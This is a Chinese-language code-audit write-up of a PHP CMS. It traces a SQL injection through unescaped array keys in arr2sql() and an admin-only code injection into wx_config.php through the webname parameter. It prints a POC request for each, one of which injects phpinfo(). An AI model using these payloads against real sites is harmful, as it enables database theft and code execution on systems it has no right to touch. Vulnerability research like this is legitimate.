前言

之前在t00ls上看到一位大佬随手发了某源码的一个sql注入,前几周有拿到了这个源码就按照他发的漏洞把漏洞代码跟了下,同时自己也审了个比较鸡肋的RCE,把审计过程记录了下。

1.sql注入

根据习惯先看代码最原始db目录下的数据库类操作文件,其中有个arr2sql()函数用于将数组转换为sql语句存在问题,如下所示:

private function arr2sql($arr) {
        $s = '';
        foreach($arr as $k=>$v) {
            $v = addslashes($v);
            $s .= "$k='$v',";
}
        return rtrim($s, ',');
    }

由上数组转成sql语句可以看出,arr2sql()函数只对数组中的value值进行了转义过滤,而没有对相应的key进行转义过滤,直接进行拼接返回。那我们就假设如果传入的数组$arr中相应的键我们在前端可以控制构造相应的payload即可造成sql注入。

​ 首先我们全局搜索那些地方调用了arr2sql()这个方法,找到两处函数调用了该方法如下所示:

执行插入操作的函数:

public function set($key, $data) {
        if(!is_array($data)) return FALSE;

        list($table, $keyarr) = $this->key2arr($key);
        $data += $keyarr;
        $s = $this->arr2sql($data);

        $exists = $this->get($key);
        if(empty($exists)) {
            return $this->query("INSERT INTO {$this->tablepre}$table SET $s", $this->wlink);
        } else {
            return $this->update($key, $data);
        }
    }

第二处跟新操作的函数:

public function update($key, $data) {
        list($table, $keyarr, $keystr) = $this->key2arr($key);
        $s = $this->arr2sql($data);
        return $this->query("UPDATE {$this->tablepre}$table SET $s WHERE $keystr LIMIT 1", $this->wlink);
    }

由上述函数可知$s经过arr2sql()处理后直接返回凭借执行sql语句。

​ 选一处进行分析数据流分析,全局搜索update()函数查找调用该函数的方法且传入数组中的键可控,找到如下方法:

public function ajaxset(){
        $id         = intval(R('id', 'P'));
        $cid        = intval(R('cid', 'P'));
        $type       = R('type', 'P');
        $txtvalue   = intval(R('txtvalue', 'P'));


        empty($id) && E(1, '内容ID不能为空!');

        $this->cms_content->table = 'cms_products';
        $data = $this->cms_content->get($id);
        $old_status = $data['status'] ;
        $data[$type] = $txtvalue;
        if($type == 'status' && $txtvalue == 0){ //审核通过清空拒绝理由
            $data['whys'] = '';
        }
        if(!$this->cms_content->update($data)) {
            E(1, '更新出错');
        }
        if($type == 'status'){
            $categorys = $this->category->read($cid);
            $categorys['count_'.$txtvalue]++;
            $categorys['count_'.$old_status]--;
            $this->category->update($categorys);
            $this->category->delete_cache();

            $shop = $this->shop->get_by_uid($data['uid']);

            $shop['goods_'.$txtvalue]++;
            $shop['goods_'.$old_status]--;
            $this->shop->update($shop);

        }

        E(0, '更新成功!');
    }

调用update函数传入数组$data其中一个键的$type可控,有前端传入。即上述R(‘’,‘p’)方法,该方法为接受前端传入数据,如下所示:

function R($k, $var = 'G') {
    switch($var) {
        case 'G': $var = &$_GET; break;
        case 'P': $var = &$_POST; break;
        case 'C': $var = &$_COOKIE; break;
        case 'R': $var = isset($_GET[$k]) ? $_GET : (isset($_POST[$k]) ? $_POST : $_COOKIE); break;
        case 'S': $var = &$_SERVER; break;
    }
    return isset($var[$k]) ? $var[$k] : null;
}

简单poc如下所示;

id=503&type=pic%3ddatabase(),local&value=

复现过程如下所示:

pic字段更新成相应的数据库名:

2.wx_config.php文件写入shell

ase.func.php中FW($filename, $data)函数直接用file_put_contents()函数将数据写入文件中。

function FW($filename, $data) {
    $dir = dirname($filename);
    is_dir($dir) || mkdir($dir, 0755, true);
    return file_put_contents($filename, $data); // 不使用 LOCK_EX,多线程访问时会有同步问题
}

联想若某处调用了FW(),若$filename,$data数据可控未做过滤则可进行任意文件修改写入shell,若$data可控未做过滤则可修改指定文件内容写入shell。全局搜索那些地方调用了FW()函数,找到一处写入wx_config.php的数据可控:

public function setting() {
        if(empty($_POST)) {
            $cfg = $this->kv->xget('pay_cfg');
            $input = array();
            $input['weixin']['APPID']       = form::get_text('weixin[APPID]', $cfg['weixin']['APPID'], 'form-control');
            $input['weixin']['MCHID']       = form::get_text('weixin[MCHID]', $cfg['weixin']['MCHID'], 'form-control');
            $input['weixin']['KEY']         = form::get_text('weixin[KEY]', $cfg['weixin']['KEY'], 'form-control');
            $input['weixin']['APPSECRET']   = form::get_text('weixin[APPSECRET]', $cfg['weixin']['APPSECRET'], 'form-control');
            $this->assign('input', $input);
            $this->display();
        }else{
            _trim($_POST);
            $weixin = R('weixin', 'P') ;
            $this->kv->xset('weixin', $weixin, 'pay_cfg');
            //存储wx
            $wx_notice = '';
            if(!empty($weixin)){
                $wxFile     = PLUGIN_PATH.'nz_wxpay/wx_config.php';
                $s = file_get_contents($wxFile);
                $s = preg_replace("#const APPID = '\w*';#", "const APPID = '".addslashes($weixin['APPID'])."';", $s);
                $s = preg_replace("#const MCHID = '\w*';#", "const MCHID = '".addslashes($weixin['MCHID'])."';", $s);
                $s = preg_replace("#const KEY = '\w*';#", "const KEY = '".addslashes($weixin['KEY'])."';", $s);
                $s = preg_replace("#const COMPANY = '\w*';#", "const COMPANY = '".R('webname','P')."';", $s);
                if(!FW($wxFile, $s)){
                    $wx_notice = '!但微信配置文件写入失败,需手动修改nzcms/plugin/nz_wxpay/wx_config.php';
                }
            }
            $this->kv->save_changed();
            $this->runtime->delete('pay_cfg');
            exit('{"err":0, "msg":"修改成功"}');
        }
    }

写入$wxFile的$s数据可控,且前端传入的webname参数可控不进行过滤,其余传入的数组$weixin都进行了过滤,故可构造如下payload将shell写入wx_config.php。

weixin%5BAPPID%5D=1155&weixin%5BMCHID%5D=5555555&weixin%5BKEY%5D=11333311&weixin%5B'APPSECRET'%5D=1111&webname=aaaaaaaaa';} phpinfo();?>/*

抓取相应数据包发送上述payload如下所示:

访问wx_config.php,如下所示:

但这个洞利用还是有限制可以说比较鸡肋,主要有两点

  • 1.需要获取后台管理员权限
  • 2.可以看上述代码中的替换正则
$s = preg_replace("#const COMPANY = '\w*';#", "const COMPANY = '".R('webname','P')."';", $s);

用了\w来匹配,导致如果wx_config.php中的COMPANY预先赋值为中文就无法匹配成功也就无法替换写入。

点击收藏 | 2 关注 | 2
登录 后跟帖